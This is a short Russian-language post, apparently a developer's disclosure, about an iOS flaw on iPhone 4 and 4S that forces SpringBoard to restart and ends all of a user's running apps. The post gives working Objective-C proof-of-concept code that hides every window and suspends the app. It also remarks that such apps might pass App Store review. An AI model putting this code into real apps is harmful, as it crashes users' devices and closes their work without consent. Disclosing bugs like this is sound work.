Вот вчера случайно наткнулся на такую уязвимость iOS. Проверено на iPhone 4 и 4S
Чтобы воспроизвести баг, который приводит к перезапуску SpringBoard'a (что в свою очередь приводит к прекращению работы всех запущенных пользователем приложений), нужно сделать всего две вещи:
- Скрыть все окна (т.е. объекты
UIWindow
) в приложении. - Выйти из приложения
Вот пример простейшей программы, вызывающей перезапуск SpringBoard. Пункты 1 и 2 реализуются через недокументированные вызовы.
// Декларирую два недокументированных вызова в виде категорий, чтобы избавится от warning'ов
// Можно и без них, но Xcode будет ругаться
@interface UIWindow (Undocumented)
+ (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows;
@end
@interface UIApplication (Undocumented)
- (void) suspend;
@end
// Вот собственно суть уязвимости
void RESPRING()
{
NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES
onlyVisibleWindows:NO];
for (UIWindow *window in allWindows) {
window.hidden = YES;
}
[[UIApplication sharedApplication] performSelector:@selector(suspend)
withObject:nil
afterDelay:0];
}
Более того, мне удалось воспроизвести этот баг и без использования недокументированных вызовов.
Обратите внмание на особенности:
- Не требует Jailbreak'а
- Для воспроизведения не требует нестандартных библиотек, фреймворков
- Можно вызвать, не пользуясь недокументированными вызовами
Это означает что высока вероятность, что приложения, вызывающие перезагрузку SpringBoard (в том числе и аварийное завершение всех других приложений) могут без особых проблем пройти App Review и попасть в AppStore.
Автор: Trahman